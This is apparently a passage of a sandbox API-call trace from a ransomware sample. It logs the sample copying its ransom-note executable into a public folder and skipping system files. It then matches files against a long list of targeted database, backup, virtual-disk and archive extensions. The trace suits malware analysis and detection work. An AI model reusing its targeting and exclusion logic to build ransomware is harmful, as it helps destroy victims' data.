	[0036.042] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.042] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.042] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dc09910, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0036.042] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0036.042] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0036.042] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Public\\Downloads", iMaxLength=260 | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads"
	[0036.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca150 | out: hHeap=0x580000) returned 1
	[0036.042] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0036.042] lstrlenW (lpString="C:\\Users\\Public\\Downloads") returned 25
	[0036.042] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Public\\Downloads" | out: lpString1="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads"
	[0036.042] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.042] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Public\\Downloads\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\public\\downloads\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.047] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.047] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0036.047] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.047] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.047] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.047] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dc09910, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dc09910, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.047] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.047] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.047] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.047] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.047] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.047] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.048] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.048] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.048] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.048] lstrlenW (lpString="desktop.ini") returned 11
	[0036.048] lstrlenW (lpString="C:\\Users\\Public\\Downloads\\*") returned 27
	[0036.048] lstrcpyW (in: lpString1=0x2d3e584, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.048] lstrlenW (lpString="desktop.ini") returned 11
	[0036.048] lstrlenW (lpString="Apollon865") returned 10
	[0036.048] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.048] lstrlenW (lpString=".dll") returned 4
	[0036.048] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.048] lstrlenW (lpString=".lnk") returned 4
	[0036.048] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.048] lstrlenW (lpString=".ini") returned 4
	[0036.048] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.048] lstrlenW (lpString=".sys") returned 4
	[0036.048] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.048] lstrlenW (lpString="desktop.ini") returned 11
	[0036.048] lstrlenW (lpString="bak") returned 3
	[0036.048] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.048] lstrlenW (lpString="ba_") returned 3
	[0036.048] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.048] lstrlenW (lpString="dbb") returned 3
	[0036.048] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.048] lstrlenW (lpString="vmdk") returned 4
	[0036.048] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.048] lstrlenW (lpString="rar") returned 3
	[0036.048] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.048] lstrlenW (lpString="zip") returned 3
	[0036.048] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.048] lstrlenW (lpString="tgz") returned 3
	[0036.048] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.048] lstrlenW (lpString="vbox") returned 4
	[0036.048] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.048] lstrlenW (lpString="vdi") returned 3
	[0036.048] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.048] lstrlenW (lpString="vhd") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.049] lstrlenW (lpString="vhdx") returned 4
	[0036.049] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.049] lstrlenW (lpString="avhd") returned 4
	[0036.049] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.049] lstrlenW (lpString="db") returned 2
	[0036.049] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.049] lstrlenW (lpString="db2") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.049] lstrlenW (lpString="db3") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.049] lstrlenW (lpString="dbf") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.049] lstrlenW (lpString="mdf") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.049] lstrlenW (lpString="mdb") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.049] lstrlenW (lpString="sql") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.049] lstrlenW (lpString="sqlite") returned 6
	[0036.049] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.049] lstrlenW (lpString="sqlite3") returned 7
	[0036.049] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.049] lstrlenW (lpString="sqlitedb") returned 8
	[0036.049] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.049] lstrlenW (lpString="xml") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.049] lstrlenW (lpString="$er") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.049] lstrlenW (lpString="4dd") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.049] lstrlenW (lpString="4dl") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.049] lstrlenW (lpString="^^^") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.049] lstrlenW (lpString="abs") returned 3
	[0036.049] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.050] lstrlenW (lpString="abx") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.050] lstrlenW (lpString="accdb") returned 5
	[0036.050] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.050] lstrlenW (lpString="accdc") returned 5
	[0036.050] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.050] lstrlenW (lpString="accde") returned 5
	[0036.050] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.050] lstrlenW (lpString="accdr") returned 5
	[0036.050] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.050] lstrlenW (lpString="accdt") returned 5
	[0036.050] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.050] lstrlenW (lpString="accdw") returned 5
	[0036.050] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.050] lstrlenW (lpString="accft") returned 5
	[0036.050] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.050] lstrlenW (lpString="adb") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.050] lstrlenW (lpString="adb") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.050] lstrlenW (lpString="ade") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.050] lstrlenW (lpString="adf") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.050] lstrlenW (lpString="adn") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.050] lstrlenW (lpString="adp") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.050] lstrlenW (lpString="alf") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.050] lstrlenW (lpString="ask") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.050] lstrlenW (lpString="btr") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.050] lstrlenW (lpString="cat") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.050] lstrlenW (lpString="cdb") returned 3
	[0036.050] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.051] lstrlenW (lpString="ckp") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.051] lstrlenW (lpString="cma") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.051] lstrlenW (lpString="cpd") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.051] lstrlenW (lpString="dacpac") returned 6
	[0036.051] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.051] lstrlenW (lpString="dad") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.051] lstrlenW (lpString="dadiagrams") returned 10
	[0036.051] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.051] lstrlenW (lpString="daschema") returned 8
	[0036.051] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.051] lstrlenW (lpString="db-journal") returned 10
	[0036.051] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.051] lstrlenW (lpString="db-shm") returned 6
	[0036.051] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.051] lstrlenW (lpString="db-wal") returned 6
	[0036.051] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.051] lstrlenW (lpString="dbc") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.051] lstrlenW (lpString="dbs") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.051] lstrlenW (lpString="dbt") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0036.051] lstrlenW (lpString="dbv") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.051] lstrlenW (lpString="dbx") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.051] lstrlenW (lpString="dcb") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.051] lstrlenW (lpString="dct") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.051] lstrlenW (lpString="dcx") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.051] lstrlenW (lpString="ddl") returned 3
	[0036.051] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.052] lstrlenW (lpString="dlis") returned 4
	[0036.052] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.052] lstrlenW (lpString="dp1") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.052] lstrlenW (lpString="dqy") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.052] lstrlenW (lpString="dsk") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.052] lstrlenW (lpString="dsn") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.052] lstrlenW (lpString="dtsx") returned 4
	[0036.052] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.052] lstrlenW (lpString="dxl") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.052] lstrlenW (lpString="eco") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.052] lstrlenW (lpString="ecx") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.052] lstrlenW (lpString="edb") returned 3
	[0036.052] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.052] lstrlenW (lpString="epim") returned 4
	[0036.061] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.061] lstrlenW (lpString="fcd") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.061] lstrlenW (lpString="fdb") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.061] lstrlenW (lpString="fic") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.061] lstrlenW (lpString="flexolibrary") returned 12
	[0036.061] lstrlenW (lpString="fm5") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.061] lstrlenW (lpString="fmp") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.061] lstrlenW (lpString="fmp12") returned 5
	[0036.061] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.061] lstrlenW (lpString="fmpsl") returned 5
	[0036.061] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.061] lstrlenW (lpString="fol") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.061] lstrlenW (lpString="fp3") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.061] lstrlenW (lpString="fp4") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.061] lstrlenW (lpString="fp5") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.061] lstrlenW (lpString="fp7") returned 3
	[0036.061] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.062] lstrlenW (lpString="fpt") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.062] lstrlenW (lpString="frm") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.062] lstrlenW (lpString="gdb") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.062] lstrlenW (lpString="gdb") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.062] lstrlenW (lpString="grdb") returned 4
	[0036.062] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.062] lstrlenW (lpString="gwi") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.062] lstrlenW (lpString="hdb") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.062] lstrlenW (lpString="his") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.062] lstrlenW (lpString="ib") returned 2
	[0036.062] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.062] lstrlenW (lpString="idb") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.062] lstrlenW (lpString="ihx") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.062] lstrlenW (lpString="itdb") returned 4
	[0036.062] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.062] lstrlenW (lpString="itw") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.062] lstrlenW (lpString="jet") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.062] lstrlenW (lpString="jtx") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.062] lstrlenW (lpString="kdb") returned 3
	[0036.062] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.062] lstrlenW (lpString="kexi") returned 4
	[0036.062] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.062] lstrlenW (lpString="kexic") returned 5
	[0036.062] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.062] lstrlenW (lpString="kexis") returned 5
	[0036.062] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.063] lstrlenW (lpString="lgc") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.063] lstrlenW (lpString="lwx") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.063] lstrlenW (lpString="maf") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.063] lstrlenW (lpString="maq") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.063] lstrlenW (lpString="mar") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.063] lstrlenW (lpString="marshal") returned 7
	[0036.063] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.063] lstrlenW (lpString="mas") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.063] lstrlenW (lpString="mav") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.063] lstrlenW (lpString="maw") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.063] lstrlenW (lpString="mdbhtml") returned 7
	[0036.063] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.063] lstrlenW (lpString="mdn") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.063] lstrlenW (lpString="mdt") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.063] lstrlenW (lpString="mfd") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.063] lstrlenW (lpString="mpd") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.063] lstrlenW (lpString="mrg") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.063] lstrlenW (lpString="mud") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.063] lstrlenW (lpString="mwb") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.063] lstrlenW (lpString="myd") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.063] lstrlenW (lpString="ndf") returned 3
	[0036.063] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.064] lstrlenW (lpString="nnt") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.064] lstrlenW (lpString="nrmlib") returned 6
	[0036.064] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.064] lstrlenW (lpString="ns2") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.064] lstrlenW (lpString="ns3") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.064] lstrlenW (lpString="ns4") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.064] lstrlenW (lpString="nsf") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.064] lstrlenW (lpString="nv") returned 2
	[0036.064] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.064] lstrlenW (lpString="nv2") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.064] lstrlenW (lpString="nwdb") returned 4
	[0036.064] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.064] lstrlenW (lpString="nyf") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.064] lstrlenW (lpString="odb") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.064] lstrlenW (lpString="odb") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.064] lstrlenW (lpString="oqy") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.064] lstrlenW (lpString="ora") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.064] lstrlenW (lpString="orx") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.064] lstrlenW (lpString="owc") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.064] lstrlenW (lpString="p96") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.064] lstrlenW (lpString="p97") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.064] lstrlenW (lpString="pan") returned 3
	[0036.064] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.065] lstrlenW (lpString="pdb") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.065] lstrlenW (lpString="pdm") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.065] lstrlenW (lpString="pnz") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.065] lstrlenW (lpString="qry") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.065] lstrlenW (lpString="qvd") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.065] lstrlenW (lpString="rbf") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.065] lstrlenW (lpString="rctd") returned 4
	[0036.065] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.065] lstrlenW (lpString="rod") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.065] lstrlenW (lpString="rodx") returned 4
	[0036.065] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.065] lstrlenW (lpString="rpd") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.065] lstrlenW (lpString="rsd") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.065] lstrlenW (lpString="sas7bdat") returned 8
	[0036.065] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.065] lstrlenW (lpString="sbf") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.065] lstrlenW (lpString="scx") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.065] lstrlenW (lpString="sdb") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.065] lstrlenW (lpString="sdc") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.065] lstrlenW (lpString="sdf") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.065] lstrlenW (lpString="sis") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.065] lstrlenW (lpString="spq") returned 3
	[0036.065] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.066] lstrlenW (lpString="te") returned 2
	[0036.066] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.066] lstrlenW (lpString="teacher") returned 7
	[0036.066] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.066] lstrlenW (lpString="tmd") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.066] lstrlenW (lpString="tps") returned 3
	[0036.066] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.066] lstrlenW (lpString="trc") returned 3
